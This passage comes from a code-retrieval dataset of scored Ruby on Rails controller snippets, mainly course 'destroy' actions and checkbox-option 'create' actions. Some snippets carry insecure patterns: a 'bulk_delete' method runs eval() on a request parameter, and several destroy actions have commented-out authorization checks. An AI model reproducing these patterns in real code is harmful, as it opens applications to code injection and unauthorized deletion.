"text": "def destroy\n @course = Course.find(params[:id])\n #authorize! :destroy, @course\n @course.snapshot = nil\n @course.save\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7917d3426c5579e4cac6cb3e44836b1e",
"score": "0.6223166",
"text": "def destroy\n if (@course.course_instructors.length > 0)\n \tflash[:danger] = \"Course has references. Unable to delete!\"\n\t\tredirect_to courses_path\n\t\treturn\n end\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1646806678f7b24d9aa9be53deb9a67f",
"score": "0.62173575",
"text": "def destroy\n @course = Course.find(params[:id])\n\n#destroy lessons belonging to course\n @course.lessons.each {\n |lesson|\n lesson.assets.destroy\n FileUtils.rm_rf \"#{Rails.root}/public/attachments/lessons/#{lesson.id}\" #destroy folder belonging to that lesson\n lesson.destroy\n }\n\n FileUtils.remove_file \"#{Rails.root}/public/attachments/courses/#{@course.name}.zip\" #remove the courses Zipfile\n @course.destroy #destroy course object\n \n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d3501959804274961cbcf60a8bc4f503",
"score": "0.62171555",
"text": "def delete_course\n @uid = session[:user_id]\n\t\tcourse = CourseTutor.destroy_all( :user_id => @uid, :course_id => params[:id] )\n\t\t\n\t\tif course\n\t\t\tflash[:notice] = \"The course was destroyed successfully.\"\n\t\telse\n\t\t\tflash[:error] = \"Ooops. There was a problem. Please try again.\"\t\t\n\t\tend\n redirect_to(:controller => 'profiles', :action => 'index', :id => session[:user_id])\n end",
"title": ""
},
{
"docid": "108a9e0d3199a415ce768ae9dfad124e",
"score": "0.6210939",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n end\n end",
"title": ""
},
{
"docid": "8eaa1f1a67ca3c6c2c2ceef7a240e6e1",
"score": "0.62062484",
"text": "def destroy\n @course.destroy\n flash[:success] = \"You have successfully deleted the course '#{ @course.title }'.\"\n redirect_to admin_courses_path\n end",
"title": ""
},
{
"docid": "0129ff8746dd39757e60a5820a031efd",
"score": "0.62009454",
"text": "def destroy\n\t\tConcentrationsCourse.where(course_id: params[:id], concentration_id: params[:concentration_id]).first.destroy\n\t\tflash[:success] = \"Successfully deleted\"\n \tredirect_to '/concentrations_courses'\n\tend",
"title": ""
},
{
"docid": "f0c497ee80328d60b77ba35895f4391b",
"score": "0.61803055",
"text": "def destroy\n\n if @course.destroy\n\n render json: {course: {id: params[:id].to_i}},status: :ok\n\n else\n\n render json: {error: true,errors: @course.errors},status: :unprocessable_entity\n\n end\n\n \t\tend",
"title": ""
},
{
"docid": "4d214b9cc5585deeec35eba99b9a5683",
"score": "0.61745197",
"text": "def destroy\n if @course.destroy\n flash[:success] = \"Course successfully deleted!\"\n else\n flash[:alert] = 'Error while trying to delete the course!'\n end\n redirect_to courses_url\n end",
"title": ""
},
{
"docid": "f419521a7dceb7e626b6b0f39f9f39d5",
"score": "0.61694676",
"text": "def remove_all\n @batches ||= @course.batches\n authorize! :read, @course\n end",
"title": ""
},
{
"docid": "77538388b8750bddef35831cc3d9a6d2",
"score": "0.61671376",
"text": "def destroy\n authorize! :manage, @course\n \n @courserole = Courserole.find(params[:id])\n @courserole.destroy\n\n render :partial => 'index'\n end",
"title": ""
},
{
"docid": "12d96c95c71e0dd9538ad2bec39c0037",
"score": "0.6147484",
"text": "def destroy\n @course = Course.find(params[:id])\n\n #authorize :admin or return\n authorize! :delete, @course\n\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c2c5609cf07610e58e07f15ab6d6c957",
"score": "0.6145442",
"text": "def destroy\n @course = Course.find(params[:id])\n @group = @course.group\n @teacher = current_user.teacher\n @course.destroy\n respond_to do |format|\n format.html { redirect_to group_courses_path(@group), notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0b7e881a29163904ac679f55ac3c1266",
"score": "0.6145334",
"text": "def destroy\n CoursePreRequisite.where(:course_pre_requisite_id => @course.id).delete_all\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f62c26a3fa4b56400720bac97758c57b",
"score": "0.6138791",
"text": "def admin_destroy\n return redir_error(TinyException::SECURITYHACK, @user) unless @user.admin?\n \n if params[:c]\n @credit_assignments = @student.credit_assignments.find(:all, :conditions => \"id in (#{params[:c]})\")\n @credit_assignments.each do |ca|\n ca.destroy\n end\n end\n\n @credit_assignments = @student.unfinalized_credits\n\n flash[:notice] = \"The credits were deleted.\"\n \n redirect_to credit_assignments_path(@student) \n end",
"title": ""
},
{
"docid": "ac20aeb7035e73856499fb8a198b1916",
"score": "0.61364466",
"text": "def destroy\n @instructor = Instructor.find(params[:id])\n\n courses = Course.where(:instructor_ID => @instructor.id)\n\n courses.each do |course|\n students = StudentInCourse.where(:course_ID => course.id)\n students.each do |s|\n s.destroy\n end \n\n answers = Answer.where(:course_ID => course.id)\n answers.each do |a|\n a.destroy\n end\n\n grades = Grade.where(:course_ID => course.id)\n grades.each do |g|\n g.destroy\n end\n\n course.destroy\n end\n\n @instructor.destroy\n\n redirect_to root_url\n # respond_to do |format|\n # format.html { redirect_to instructors_url }\n # format.json { head :no_content }\n # end\n end",
"title": ""
},
{
"docid": "4c97163575f19e42b9210196448550c7",
"score": "0.6134118",
"text": "def destroy\n if has_permissions_or_redirect(:admin, root_path)\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end\n end",
"title": ""
},
{
"docid": "1d8d271aba8c2c2bae8612b186a785ca",
"score": "0.61301064",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "1cb0048134a6a45d23cc95eb1165e44b",
"score": "0.61286235",
"text": "def destroy\n \t@course = Course.find(params[:id])\n \t@course.destroy\n \tredirect_to new_course_path\n end",
"title": ""
},
{
"docid": "ccf554101c5c1502f71ffbd86ab65c13",
"score": "0.612608",
"text": "def destroy_all\n @course.groups.each(&:destroy)\n @course.update(has_group: false, state: \"choose_algo\")\n respond_to do |format|\n format.html { redirect_to grouping_course_path(@course) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9192b837c2c2368b95e79c6ff3e1d87e",
"score": "0.61240476",
"text": "def destroy\n @concourse = Concourse.find(params[:id])\n @concourse.destroy\n\n respond_to do |format|\n format.html { redirect_to concourses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "630a847be240a02f36199bac1fae2cd8",
"score": "0.612187",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to admin_courses_path, notice: t(\"noti.destroyed\") }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1758a7cd81a6bb90a025a016f779fe03",
"score": "0.6119741",
"text": "def destroy\n if current_user.is_admin?\n @course = Course.find(params[:id])\n @course.destroy\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { render :xml => \"success\" }\n end\n else\n respond_to do |format|\n flash[:notice] = 'You cannot do this.'\n format.html { redirect_to(@course) }\n format.xml { render :text => \"error\" }\n end\n end\n end",
"title": ""
},
{
"docid": "75f93675f431577c5de4e8f5b58b0bb8",
"score": "0.6108057",
"text": "def destroy\n Course.destroy(params[:id])\n\n # redirect to /posts path\n redirect_to courses_path\n end",
"title": ""
},
{
"docid": "5c4eace17d7fbb34dd97c2e26726009a",
"score": "0.61055076",
"text": "def destroy\n raise NotImplementedError, \"Destroy functionality not yet implemented.\"\n #@course = Course.find(params[:id])\n #@course.destroy\n\n #respond_to do |format|\n # format.html { redirect_to(courses_url) }\n # format.xml { head :ok }\n #end\n end",
"title": ""
},
{
"docid": "3aecf40483b20f62f05e09a54639c97d",
"score": "0.6103903",
"text": "def destroy\n @course.destroy\n redirect_to root_path, notice: 'Course was successfully destroyed.'\n end",
"title": ""
},
{
"docid": "7c0177cb2879df7cb20de82cc60689cf",
"score": "0.6097713",
"text": "def destroy\n @course = Course.find(params[:id])\n @messages = Message.find_all_by_course_id(params[:id])\n @parents = Parent.find_all_by_class_code(params[:id])\n @course.destroy\n @messages.each do |message|\n message.destroy\n end\n @parents.each do |parent|\n parent.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to course_path(current_teacher.courses.first.id) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "55f93c69dd928e1136daa91925e9c897",
"score": "0.60888034",
"text": "def destroy\n if current_user.superadmin?\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n else\n flash[:error] = 'You have been denied access to this page because you do not have the right access to this page. If you believe that a mistake has been made, please contact <a href=\"mailto:h.samani@unsw.edu.au\">h.samani@unsw.edu.au</a>.'.html_safe\n \n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "568f4853eff7f60c54f213a70f66bd52",
"score": "0.6079766",
"text": "def destroy\n authorize! :update, @study_plan\n @competence = nil\n @competence = Competence.find(params[:competence_id]) if params[:competence_id]\n \n #if params[:abstract_course_id]\n status = @study_plan.remove_abstract_courses(params[:id])\n log \"remove_course #{params[:id]}\"\n #else\n # status = @study_plan.remove_scoped_course(params[:id])\n # log \"remove_scoped_course #{params[:id]}\"\n #end\n \n respond_to do |format|\n format.html {\n if @competence\n redirect_to curriculum_competence_path(curriculum_id: @competence.curriculum_id, id: @competence.id), :flash => { :success => t('plans.courses.course_removed_from_plan') }\n else\n redirect_to root_path # FIXME\n #studyplan_competences_path, :flash => { :success => t('plans.courses.course_removed_from_plan') }\n end\n }\n format.json { render json: { status: 'ok' }.to_json( root: false ) }\n end\n end",
"title": ""
},
{
"docid": "6f5f80fa0d7fdcd5d44af471c6519105",
"score": "0.6077324",
"text": "def remove_course\n authorize! :remove_course, Camper\n @camper = Camper.find_by_id(params[:camper])\n @course = Course.find_by_id(params[:course])\n @camper.courses.delete(@course)\n flash[:notice] = \"Removed course!\"\n redirect_to @camper\nend",
"title": ""
},
{
"docid": "b5b63aecf1f0bbf2ab07e4f424a062ce",
"score": "0.6073172",
"text": "def bulk_delete\n department_ids_string = params[:ids]\n department_ids = eval(department_ids_string)\n\n department_ids.each do |id|\n department = Department.find(id.to_i)\n \n if !department.nil? && department.courses.empty? && department.uni_modules.empty?\n department.users.each do |user|\n user.update_attribute(\"department_id\", nil)\n end\n PathwaySearchLog.where(department_id: department.id).destroy_all\n Notice.where(department_id: department.id).destroy_all\n SearchLog.where(department_id: department.id).destroy_all\n TagLog.where(department_id: department.id).destroy_all\n VisitorLog.where(department_id: department.id).destroy_all\n department.destroy\n end\n \n end\n\n head :no_content\n end",
"title": ""
},
{
"docid": "0c51266c49c3a150580180a2326bf475",
"score": "0.6060901",
"text": "def destroy\n @course = @enrolled_course.course\n student_first_name = @enrolled_course.student.user.first_name\n student_last_name = @enrolled_course.student.user.last_name\n @enrolled_course.destroy\n respond_to do |format|\n if current_user.is_admin?\n format.html { redirect_to roster_path(@course), notice: 'You have sucessfully dropped ' + student_first_name + ' ' + student_last_name + ' from ' + @course.course_id + '!' }\n format.json { head :no_content }\n else\n format.html { redirect_to courses_path, notice: 'You have sucessfully dropped from ' + @course.course_id + '!' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "6ba18449dac0335ee14cf5c995d7d036",
"score": "0.60569113",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to admin_courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547966",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7db57bdbfd08c0bac5169e26c780473c",
"score": "0.60547924",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2a4b5a5da84b47b3f070a01aeb8637ec",
"score": "0.60522586",
"text": "def destroy\n @cd_admin_course.destroy\n respond_to do |format|\n format.html {redirect_to cd_admin_courses_url, notice: 'Course was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"title": ""
},
{
"docid": "e83a14c8dc1a22485da8dab671315325",
"score": "0.60343915",
"text": "def destroy\n @course = current_user.courses.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b64264290397b1e83fc6f345414c6856",
"score": "0.6032695",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to admin_path, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8ac0082f834657af428b7d0663ce89a9",
"score": "0.6027859",
"text": "def destroy\n authorize! :delete, @elective_group\n @subjects ||= @batch.normal_subjects\n @elective_groups ||= @batch.elective_groups\n @elective_group.destroy\n flash[:notice] = t('elective_group_delete')\n redirect_to subjects_path\n end",
"title": ""
},
{
"docid": "df801e72783eb7ef2ae32b7973102ee9",
"score": "0.6024727",
"text": "def destroy\n\t# The scheduled_course model specifies: has_many :enrollments, dependent: :destroy\n\t# So related enrollments will be destroyed automatically when the scheduled_course is destroyed.\n @scheduled_course = ScheduledCourse.find(params[:id])\n @scheduled_course.destroy\n\n respond_to do |format|\n format.html { redirect_to(scheduled_courses_for_admin_crew_url(current_person.current_crew())) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "621928b2bb74d58518debe8813627056",
"score": "0.60225487",
"text": "def destroy\r\n @course.destroy\r\n respond_to do |format|\r\n flash[:danger] = \"Curso eliminado exitosamente.\"\r\n format.html { redirect_to courses_url}\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "b58b466ed123fa39fb23ee3811bcdd73",
"score": "0.6011496",
"text": "def destroy\n @training_course.destroy\n respond_to do |format|\n format.html { redirect_to(admin_training_courses_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted training class\")\n end",
"title": ""
},
{
"docid": "dbe2f2d74f3a6d97b326d65051615d8c",
"score": "0.6009129",
"text": "def destroy\n @admin_course.destroy\n respond_to do |format|\n format.html { redirect_to admin_school_courses_url(@admin_school), notice: \"Course was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db9132f55ef7ceb1e3933e3be808af38",
"score": "0.6006214",
"text": "def destroy\n if current_user\n @course = Course.find(params[:id])\n @course.destroy\n end\n redirect_to '/pages/courses'\n end",
"title": ""
},
{
"docid": "65a66b56b488db188c201b418a6b54be",
"score": "0.6004508",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_instruction_path( @instruction ), notice: '課程刪除完成' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c0aa628a90e728d67e69846e7a3ee68d",
"score": "0.60040784",
"text": "def remove_local_courses_missing_from_canvas(canvas_courses)\n canvas_courses.each do |course_id|\n local_course = CanvasCourse.where(sis_course_id: course_id).first\n local_course.remove_all_canvas_events\n local_course.delete\n end\nend",
"title": ""
},
{
"docid": "41bd3ddc830cb7f1e7f541ee1059e5f9",
"score": "0.6003706",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "48227cf8f59601c7f106e2e0fbd23d66",
"score": "0.6003061",
"text": "def destroy\n\t\tcourse = Course.find_by_id(params[:id])\n\t\tcourse.destroy\n\t\tflash[:success_deletion] = \"Course deleted.\"\n\t\tredirect_to :action => 'index'\n\tend",
"title": ""
},
{
"docid": "1ab5cde68216f169d77d3fda53a87155",
"score": "0.59967184",
"text": "def schedule_remove\n @schedule = Schedule.where(users_id: params[:users_id], courses_id: params[:courses_id], semester: params[:semester], year: params[:year]).delete_all\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Course was successfully removed from schedule.' }\n end\n end",
"title": ""
},
{
"docid": "6b85599f9f49116b72ed7b59dd7bc1d0",
"score": "0.59938854",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n redirect_to action: :index, notice: 'Course was successfully destroyed.'\n end",
"title": ""
},
{
"docid": "a6ab0a7972822fcd3c49a3295ee77ab3",
"score": "0.59932935",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: I18n.t('controllers.destroyed', model: Course.model_name.human) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a6ab0a7972822fcd3c49a3295ee77ab3",
"score": "0.59932935",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: I18n.t('controllers.destroyed', model: Course.model_name.human) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "915c9cb0ff9823815286e997323c5517",
"score": "0.59929293",
"text": "def destroy\n @course = Portal::Course.find(params[:id])\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (found instance)\n # authorize @course\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(portal_courses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "690b9f95dde83c2c6a4c3d4a91ede9a9",
"score": "0.59923023",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to course_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
6a36535063c80cdfa19b6237ab64d2d8
|
POST /checkbox_options POST /checkbox_options.json
|
[
{
"docid": "d72146e9c99c5e123bbe197324cbb8e0",
"score": "0.74174356",
"text": "def create\n @checkbox_option = CheckboxOption.new(params[:checkbox_option])\n\n respond_to do |format|\n if @checkbox_option.save\n format.html { redirect_to @checkbox_option, notice: 'Checkbox option was successfully created.' }\n format.json { render json: @checkbox_option, status: :created, location: @checkbox_option }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkbox_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "4660bc87f646fe5d784147a1f396fe38",
"score": "0.6330141",
"text": "def new\n @checkbox_option = CheckboxOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @checkbox_option }\n end\n end",
"title": ""
},
{
"docid": "df4dcc973f64c1052af7b4f5961503e9",
"score": "0.61444855",
"text": "def chkbox_params\n params.require(:chkbox).permit(:hante, :suuji)\n end",
"title": ""
},
{
"docid": "9e04908073c286e834ab4ff8ca33c7f4",
"score": "0.60594773",
"text": "def create\n @check_option = CheckOption.new(params[:check_option])\n\n respond_to do |format|\n if @check_option.save\n format.html { redirect_to check_options_path(:property_id => @check_option.property_id), :notice => 'Check option was successfully created.' }\n format.json { render :json => @check_option, :status => :created, :location => @check_option }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @check_option.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb0a18b22e031dd11be732749c4d1229",
"score": "0.59299463",
"text": "def create\n @chkbox = Chkbox.new(chkbox_params)\n\n respond_to do |format|\n if @chkbox.save\n format.html { redirect_to @chkbox, notice: 'Chkbox was successfully created.' }\n format.json { render :show, status: :created, location: @chkbox }\n else\n format.html { render :new }\n format.json { render json: @chkbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f688c2f1246f3900b00fa008e3b66ff2",
"score": "0.58942544",
"text": "def checkbox(hash = {})\n hash[:type] = :checkbox\n input(hash)\n end",
"title": ""
},
{
"docid": "d01bd3aa145603f4383e675ca71b257c",
"score": "0.58938843",
"text": "def checkboxes(method, choices, options={})\n @template.checkboxes(@object_name, method, choices, objectify_options(options))\n end",
"title": ""
},
{
"docid": "a1f8e24bc035bbdd8316b7a9d6411851",
"score": "0.5890395",
"text": "def check_box_collection_tag(options)\n\t\t# defaults = {:token=>''}\n # options.merge(defaults)\n\t\tname = options[:name]\n\t\tcheck_box_label_descr = options[:check_box_label_descr]\n\t\tcheck_box_options = options[:check_box_options]\n\t\tassigned_option_id = options[:assigned_label_id] || {}\n\t\ttoken = options[:token]\n custom_field_id = (options[:customs_fields_id]).to_s\n chk_box_type = options[:chk_box_type] || ''\n html_tag = [label_tag(check_box_label_descr)]\n \n check_box_options.each do |o|\n if !chk_box_type.empty? && chk_box_type.to_sym == :single\n checked = assigned_option_id.include?('checked') || CustomFields::CheckBox.true_or_false?(assigned_option_id['0'])\n input_name = \"#{name}[0]\"\n html_tag << check_box_tag(input_name, true, checked )\n html_tag << label_tag(input_name, o.descr)\n html_tag << '<br />'\n else\n chk = !o.nil? && !assigned_option_id.empty? && CustomFields::CheckBox.true_or_false?(assigned_option_id[o.id.to_s])\n if o.nil?\n html_tag << '<span class=\"missing_implementation\">The Label for this option is missing</span><br />'\n elsif o.name != 'G_Other' && chk_box_type != 'single'\n input_name = \"#{name}[#{o.id}]\"\n html_tag << check_box_tag(input_name, true, chk )\n html_tag << label_tag(input_name, o.descr)\n html_tag << '<br />'\n else\n input_name = \"other_checkbox[#{custom_field_id}]\"\n html_tag << check_box_tag(input_name, chk, chk, :onclick => \"fncOnOffTextfieldinCheckBox(#{custom_field_id},\\\"#{o.id}\\\");\" )\n html_tag << label_tag(input_name, o.descr)\n html_tag << ' '\n \n input_name = \"#{name}[#{o.id}]\"\n html_tag << text_field_tag(input_name, chk ? assigned_option_id[\"#{o.id}\"] : '', :disabled => !chk)\n end\n end\n end\n \n # Add an empty hidden field to force passing the check_box\n # param even though nothing was check\n html_tag << hidden_field_tag(\"#{name}[-1]\", value = false)\n html_tag.join(token)\n\n\tend",
"title": ""
},
{
"docid": "baa3fe2b5efa3494d0bfa289555393a7",
"score": "0.58735377",
"text": "def have_check_box(options)\n have_form_field(options.merge(:tag => :input, :type => :checkbox))\n end",
"title": ""
},
{
"docid": "af93160c9783406324eb3021c33dba29",
"score": "0.58326364",
"text": "def create\n @api_v1_checkbox_field = Api::V1::CheckboxField.new(api_v1_checkbox_field_params)\n\n respond_to do |format|\n if @api_v1_checkbox_field.save\n format.html { redirect_to @api_v1_checkbox_field, notice: 'Checkbox field was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_checkbox_field }\n else\n format.html { render :new }\n format.json { render json: @api_v1_checkbox_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f49ffa0f90b05d2d978cdb02dec5781",
"score": "0.5806332",
"text": "def modify_item_selector_checkboxes_or_radios\n return unless create_params && params[:request][:barcodes].present?\n\n create_params[:barcodes] = item_selector_checkboxes_or_radios_as_array\n end",
"title": ""
},
{
"docid": "3798b1c19ef23af0c20eb9c606e87edf",
"score": "0.5774931",
"text": "def api_v1_checkbox_field_params\n params.fetch(:api_v1_checkbox_field, {})\n end",
"title": ""
},
{
"docid": "84d3391c049541d500a9fcf0ac2c3673",
"score": "0.57720256",
"text": "def update\n @checkbox_option = CheckboxOption.find(params[:id])\n\n respond_to do |format|\n if @checkbox_option.update_attributes(params[:checkbox_option])\n format.html { redirect_to @checkbox_option, notice: 'Checkbox option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checkbox_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d1af4b6d9d9ff87bdd61e7fdc211b98",
"score": "0.5770291",
"text": "def check_box(name, options = {})\n add :check_box, name, options\n end",
"title": ""
},
{
"docid": "b433993f74890671d075bf7108343b84",
"score": "0.56508476",
"text": "def admin_option_params\n params.require(:admin_options).permit(:options_enabled)\n end",
"title": ""
},
{
"docid": "d7ef1fcdb01e285be2b0e94cebac7272",
"score": "0.5646303",
"text": "def check_box (method, options = {}, checked_value = \"1\", unchecked_value = \"0\")\n\t\t\t\t@template.send(:labelled_check_box, @object_name, method, options.merge(:object => @object), checked_value, unchecked_value)\n\t\t\tend",
"title": ""
},
{
"docid": "3c270d503ae5de551b1d42838e9c9d24",
"score": "0.56248945",
"text": "def create\n\t#@option = Option.new(params[:option])\n\tf=0\n\n\t@options = params[:options].values.collect { |option| Option.new(option) }\n\t @options.each do |o|\n\t\tif o.save\n\t\t f=1\n\t\telse\n\t\t f=0\n\t\tend\n\n\t end\n\t respond_to do |format|\n\t\tif f==1\n\t\t format.html { redirect_to(:controller => :questions, :action=>\"index\", :notice => 'Options were successfully created.') }\n\t\t format.xml { render :xml => @option, :status => :created, :location => @option }\n\t\telse\n\t\t format.html { render :action => \"new\" }\n\t\t format.xml { render :xml => @option.errors, :status => :unprocessable_entity }\n\t\tend\n\t end\n\tend",
"title": ""
},
{
"docid": "35462fc9bf7197a39bb6bc74359ea8ab",
"score": "0.5621949",
"text": "def check_box(attribute, options = {}, checked_value = \"1\", unchecked_value = \"0\")\n custom_label(attribute, options[:label], options[:label_options], true) do\n options.delete(:label)\n options.delete(:label_options)\n @template.check_box(@object_name, attribute, objectify_options(options), checked_value, unchecked_value)\n end + error_and_help_text(attribute, options)\n end",
"title": ""
},
{
"docid": "710e211eaed8a33ed39187df2ef54e8c",
"score": "0.5620983",
"text": "def create\n checkbox = params[:inlineCheckboxhidden].split(\",\")\n\n @car = Car.new(car_params)\n @car.user_id = @user.id\n\n respond_to do |format|\n if @car.save\n checkbox.each do |c|\n @car_status = CarStatus.create(description: c, status: false, car_id: @car.id)\n @car_status.save\n end\n format.html { redirect_to user_car_path(@user,@car), notice: 'Car was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: user_car_path(@user,@car).errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3571084c8e2373e7145629830ebef09",
"score": "0.5615512",
"text": "def create\n @option = Option.new(option_params)\n\n if @option.save\n render json: @option, status: :created, location: @option\n else\n render json: @option.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3fc3a422251bc979c86ffa9483c0736d",
"score": "0.5607439",
"text": "def create\n # @option = Option.new(option_params)\n respond_to do |format|\n format.json do\n if @option.save\n render json: @option\n else\n render json: { :errors => @option.errors.messages }, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f39a45f5beb43e11ec99a2463b2e6919",
"score": "0.5559223",
"text": "def options_params\n params.require(:options).permit(:name, :product_id, values:[], option_ids: [] )\n end",
"title": ""
},
{
"docid": "6df3012662ea524690fb4948296732ef",
"score": "0.55522907",
"text": "def option_params\n params.require(:option).permit(:title, :tag, :value, :note, :accept_email)\n end",
"title": ""
},
{
"docid": "5752fc4bdd4c1c5d9d7522f73367469e",
"score": "0.5551393",
"text": "def create_boolean_collection(options) #:nodoc:\n options[:true] ||= Formtastic::I18n.t(:yes)\n options[:false] ||= Formtastic::I18n.t(:no)\n options[:value_as_class] = true unless options.key?(:value_as_class)\n \n [ [ options.delete(:true), true], [ options.delete(:false), false ] ]\n end",
"title": ""
},
{
"docid": "4b78a123671b565a7699c3a70451ee00",
"score": "0.5548514",
